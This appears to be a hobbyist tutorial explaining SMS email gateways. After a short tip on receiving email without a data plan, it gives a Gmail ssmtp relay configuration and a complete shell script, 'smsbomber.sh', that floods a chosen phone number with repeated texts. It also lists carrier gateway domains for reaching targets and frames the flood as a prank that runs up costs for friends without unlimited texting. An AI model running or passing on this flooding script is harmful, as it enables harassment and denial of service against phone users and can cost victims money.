Gmail and SMS Gateway Fun
by Digicon
Due to the downturn in the economy, I found myself needing to save money by downgrading my phone services.
With no data service for my phone, I could no longer get e-mail. In my search to get e-mail without a data plan, I found out about SMS gateways.
An SMS gateway is a device or service offering SMS transit, transforming messages to mobile network traffic from other media or, vice versa, allowing transmission or receipt of SMS messages with or without the use of a mobile phone.
With this, I could take my phone number @txt.att.net, forward my e-mail to that address with some filters, and I get my email back. Then I thought I could mess with my friends with an SMS denial-of-service. Remember, if your friend doesn't have unlimited texts, this could add up fast.
So here's my setup. In Ubuntu 9.04:
$ sudo apt-get install ssmtpThen vi /etc/ssmtp/ssmtp.conf and add the following:
AuthUser=Your_Gmail_Account@gmail.com AuthPass=Your_Gmail_Password FromLineOverride=YES mailhub=smtp.gmail.com:587 UseSTARTTLS=YESCopy the following script to a text file and name it smsbomber.sh:
#!/bin/sh echo Please, enter your number read NUMBER echo Please, enter your short message read MESSAGE echo "Attacking $NUMBER" echo Continue????? yes/no read NEXT if [ "$NEXT" = "no" ]; then echo " Restarting" ./smsbomber.sh elif [ "$NEXT" = "yes" ]; then echo $MESSAGE > 1.txt echo "How many sms messages to send" read SMS echo "Number of seconds between messages" read speed COUNTER=0 until [ $SMS -le $COUNTER ]; do cat 1.txt | mail -s "SMSBomber" $NUMBER sleep $speed COUNTER=$(( $COUNTER + 1 )) echo "Attack $COUNTER of $SMS" echo "Crtl+C to call off attack." done fiThen do chmod 755 smsbomber.sh to make it executable, and to run just type ./smsbomber.sh remembering to enter the number in the format: phone#@txt.att.net
This isn't limited to AT&T, here are few other carriers get you started:
- Boost: phone#@myboostmobile.com
- Verizon: phone#@vtext.com
- Virgin: phone#@vmobl.com
- Alltel: phone#@message.alltel.com
Shouts to Debbie, Trinity, family, and friends.
Code: ssmtp.conf
Code: smsbomber.sh